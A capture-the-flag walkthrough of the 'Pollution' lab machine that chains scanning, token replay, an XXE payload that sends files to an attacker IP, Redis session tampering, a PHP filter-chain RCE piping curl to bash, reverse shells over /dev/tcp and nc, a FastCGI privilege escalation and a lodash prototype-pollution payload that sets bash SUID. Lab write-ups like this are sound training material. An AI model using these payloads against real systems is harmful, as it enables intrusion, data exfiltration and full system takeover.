Pollution
Enumeration
Rustscan
mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.10.11.192 -- -sV -sC -oA ./rust/{{ip}}
# Ports
Open 10.10.11.192:22
Open 10.10.11.192:80
Open 10.10.11.192:6379
# Services
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
6379/tcp open redis syn-ack ttl 63 Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80
Checking the website will reveal the real hostname collect.htb We'll add it to /etc/hosts for further enumeration
Port 6379
Nothing interesting because we aren't authenticated
redis-cli -h collect.htb
collect.htb:6379> info
NOAUTH Authentication required.
(1.62s)
Subdomains
ffuf -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u http://collect.htb -H "Host: FUZZ.collect.htb" -o subs.json -fw 11803 -mc all
forum [Status: 200, Size: 14101, Words: 910, Lines: 337, Duration: 184ms]
developers [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 54ms]
Dirsearch
Just collect.htb delivered some interesting results for example /api
collect.htb
dirsearch -u http://collect.htb/
[20:25:10] 302 - 0B - /admin -> /home
[20:25:28] 302 - 0B - /api -> /home
[20:25:30] 301 - 311B - /assets -> http://collect.htb/assets/
[20:25:30] 200 - 1KB - /assets/
[20:26:03] 302 - 0B - /home -> /login
[20:26:15] 200 - 5KB - /login
[20:26:45] 200 - 5KB - /register
[20:26:52] 403 - 276B - /server-status/
developers.collect.htb
Basic Auth Pop Up, we have no credentials at the moment
forum.collect.htb
Seems to be a a forum for members of collect.htb where they are able to ask questions and get help Collect-Forum
First let's register an account at Register
We are also able to get some infos about the environment when we study the threads posted.
Victor(a Dev) has trouble accessing the pollution api. Attachment contains environment infos T-13
Kubernetes? T-9
John responsible for developers.collect.htb? T-2
API Token
Once we downloaded the attachment of http://forum.collect.htb/showthread.php?tid=13 we discovered it's a burp history file.
Lets decode it an view it in our browser
git clone https://github.com/mrts/burp-suite-http-proxy-history-converter.git
cd burp-suite-http-proxy-history-converter
pip install --requirement=requirements.txt
# Will create a proxy_history.xml.html file
python convert-burp-suite-http-proxy-history-to-csv.py ../proxy_history.xml
Checking the formatted logs we will discover a request that can be used to gain admin access
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
token=ddac62a28254561001277727cb397baf
Exploitation
API XXE
Register an account on collect.htb and capture the requests in burp Use the previously discovered token to elevate our privileges
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/login
Cookie: PHPSESSID=b8gl9c885k7c52t61afnen4nj8
Upgrade-Insecure-Requests: 1
token=ddac62a28254561001277727cb397baf
Open Collect - Admin in your browser, register a new API User and capture the request
POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 171
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=b8gl9c885k7c52t61afnen4nj8
manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>mrk1</username><password>mrk1</password></user></root>
After some try and error we are able to read files . Check bootstrap.php to receive the redis password!
xxe.dtd Do it for index.php to get an overview and than check bootstrap.php which is mentioned in index.php While poking around we also discovered /var/www/developers/.htpasswd
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.16.28/?file=%file;'>">
%eval;
%exfiltrate;
Burp Request
POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 249
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=b8gl9c885k7c52t61afnen4nj8
token: ddac62a28254561001277727cb397baf
manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.16.28/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>mrk1</username><password>mrk</password></user></root>
bootstrap.php
<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=COLLECTR3D1SPASS');
session_start();
require '../vendor/autoload.php';
htpasswd
# developers_group:r0cket
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
developers.collect.htb 1
We'll use the basic auth creds to get a view of developers.collect.htb but there's nothing except a new login panel
Redis
We are now also able to access redis
redis-cli -h collect.htb
collect.htb:6379> AUTH COLLECTR3D1SPASS
OK
collect.htb:6379> info
# Keyspace
db0:keys=2,expires=2,avg_ttl=1137183
collect.htb:6379> keys *
# Our new session on developers.collect.htb
1) "PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird"
# Our session on collect.htb
3) "PHPREDIS_SESSION:b8gl9c885k7c52t61afnen4nj8"
collect.htb:6379> get PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird
""
collect.htb:6379> get PHPREDIS_SESSION:b8gl9c885k7c52t61afnen4nj8
"username|s:4:\"mrk1\";role|s:5:\"admin\";"
# Let's try to bypass developers.collect.htb login page
# We'll use auth|s:1:\"a\";
collect.htb:6379> set PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird "username|s:4:\"mrk1\";role|s:5:\"admin\";auth|s:1:\"a\";"
developers.collect.htb 2
We have successfully bypassed the login page and can now see the developers section.
The parameter ?page is vulnerable to remote code execution using filter chains. We will use this project Filter Chain Generator to get an reverse shell on the system :)
Prepare Filterchain
# Prepare Filterchain
python3 php_filter_chain_generator.py --chain '<?= `curl -s -L 10.10.16.28/x|bash` ?>'
x
# The shellscript to be executed on the remote system
bash -i >& /dev/tcp/10.10.16.28/4000 0>&1
Shell
(remote) www-data@pollution:/dev/shm$ whoami
www-data
Shell
Once we got our shell we can enumerate further
php-fpm
Using netstat we can see a couple of open ports. Port 9000 catched my eye as this could be an fastcgi application.
netstat -tlpn
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:6379 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
ps aux | grep fpm
root 975 0.0 1.0 265400 40792 ? Ss Dec12 0:09 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
victor 1115 0.0 0.5 265840 20640 ? S Dec12 0:00 php-fpm: pool victor
victor 1116 0.0 0.4 265840 19400 ? S Dec12 0:00 php-fpm: pool victor
Privesc to Victor
We'll use this script to escalate our privileges to user "victor"
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.28 4001 >/tmp/f'); echo '-->';"
FILENAMES="/dev/shm/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
Privesc Root
Once we have a shell as victor we start to enumerate the box again.
Enumeration
Seems like we can access the pollution_api source code
cd ~
ls /
Desktop Documents Downloads Music Pictures Public Templates Videos pollution_api user.txt
cd pollution_api
ls
controllers functions index.js log.sh logs models node_modules package-lock.json package.json routes
Check for any processes that are related to our api
ps aux | grep api
root 1347 0.0 1.9 1664540 76956 ? Sl Dec12 0:01 /usr/bin/node /root/pollution_api/index.js
/home/victor/pollution_api/controllers/Messages_send.js While parsing through the source code we can spot a possible prototype pollution vulnerability But checking the code will tell us that we need admin permissions on the api.
const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');
const messages_send = async(req,res)=>{
const token = decodejwt(req.headers['x-access-token'])
if(req.body.text){
const message = {
user_sent: token.user,
title: "Message for admins",
};
_.merge(message, req.body);
exec('/home/victor/pollution_api/log.sh log_message');
Message.create({
text: JSON.stringify(message),
user_sent: token.user
});
return res.json({Status: "Ok"});
}
return res.json({Status: "Error", Message: "Parameter text not found"});
}
module.exports = { messages_send };
Getting API Admin Role
Using our discovered mysql credentials we are going to elevate the permissions of our api user that we created earlier
mysql -u webapp_user -p
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| developers |
| forum |
| information_schema |
| mysql |
| performance_schema |
| pollution_api |
| webapp |
+--------------------+
MariaDB [(none)]> use pollution_api;
Database changed
MariaDB [pollution_api]> show tables;
+-------------------------+
| Tables_in_pollution_api |
+-------------------------+
| messages |
| users |
+-------------------------+
MariaDB [pollution_api]> select * from users
-> ;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt | updatedAt |
+----+----------+----------+------+---------------------+---------------------+
| 1 | mrk1 | xxxx | user | 2022-12-13 03:10:01 | 2022-12-13 03:10:01 |
| 2 | mrk2 | xxxx | user | 2022-12-13 03:10:09 | 2022-12-13 03:10:09 |
| 3 | test | xxxx | user | 2022-12-13 03:28:25 | 2022-12-13 03:28:25 |
+----+----------+----------+------+---------------------+---------------------+
MariaDB [pollution_api]> update users set role='admin' where id=1;
Query OK, 1 row affected (0.002 sec)
Rows matched: 1 Changed: 1 Warnings: 0
API Fun
API Token
Login using our creds to get our api token
curl -X POST http://localhost:3000/auth/login -H 'Content-Type: application/json' -d '{"username":"mrk1", "password":"xxxx"}'
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibXJrMSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3MDkxMzMxMSwiZXhwIjoxNjcwOTE2OTExfQ.GYSuGRHHR9kGXFhLl8vXCIzuWvz0JK1PIkoOihFq2Eo"}}
API Documentation
curl -X GET http://localhost:3000/documentation -H 'Content-Type: application/json' -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibXJrMSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3MDkxMzMxMSwiZXhwIjoxNjcwOTE2OTExfQ.GYSuGRHHR9kGXFhLl8vXCIzuWvz0JK1PIkoOihFq2Eo'
{
"Documentation": {
"Routes": {
"/admin/messages/send": {
"Methods": "POST",
"Params": {
"text": "message text"
}
}
}
}
}
RCE
We will chmod +s /usr/bin/bash
so that we can get to root by using /usr/bin/bash -p
curl -X POST http://localhost:3000/admin/messages/send -H 'Content-Type: application/json' -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibXJrMSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3MDkxMzMxMSwiZXhwIjoxNjcwOTE2OTExfQ.GYSuGRHHR9kGXFhLl8vXCIzuWvz0JK1PIkoOihFq2Eo' -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod +s /usr/bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
ls -al /usr/bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /usr/bin/bash
Root
We're now root and get the last flag in /root
Last updated